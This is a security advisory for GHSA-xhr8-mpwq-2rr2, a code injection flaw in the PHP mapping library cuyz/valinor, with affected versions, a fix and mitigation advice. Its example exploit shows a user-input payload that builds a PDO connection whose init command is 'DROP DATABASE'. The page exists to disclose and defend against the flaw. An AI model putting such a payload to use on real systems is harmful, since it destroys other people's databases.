GHSA-xhr8-mpwq-2rr2 Automatic named constructor discovery in Valinor
Automatic constructor discovery allows attackers to inject malicious PDO options via user input, leading to arbitrary database commands or destruction.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-xhr8-mpwq-2rr2?
GHSA-xhr8-mpwq-2rr2 is a code injection vulnerability in cuyz/valinor, published on 1 Apr 2022. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Design issue - automatic constructor discovery
The issue arises when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.
Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.
Example exploit
Take following DTO example:
final class UserDTO
{
public function __construct(
public int $id,
public string $name
) {}
public static function fromDb(
PDO $connection,
int $id
): self { /* ... code to fetch the DTO here ... */ }
}
There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:
// this could be coming from user input:
$maliciousPayload = [
'connection' => [
'dsn' => 'mysql:host=some-host;database=some-database',
'username' => 'root',
'password' => 'root',
'options' => [
// PDO::MYSQL_ATTR_INIT_COMMAND === 1002
1002 => 'DROP DATABASE all-the-moneys'
]
],
'id' => 123,
];
$treeMapper->map(
UserDTO::class,
$maliciousPayload
); // your DB is gone :D
The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.
Mitigation
Version 0.7.0 contains a patch for this issue.
Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.
Which versions are affected by GHSA-xhr8-mpwq-2rr2?
2 open source packages ship an affected version, including cuyz/valinor.
| Package | Affected | Fixed in |
|---|---|---|
cuyz/valinor Packagist | From 0.5.0 | 0.7.0 |
cuyz/valinor Packagist | From 0.5.0 | 0.7.0 |
How do I fix GHSA-xhr8-mpwq-2rr2?
Upgrade cuyz/valinor to 0.7.0 or later.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is GHSA-xhr8-mpwq-2rr2 being exploited?
There is no known exploitation of GHSA-xhr8-mpwq-2rr2 in the wild and no public exploit code.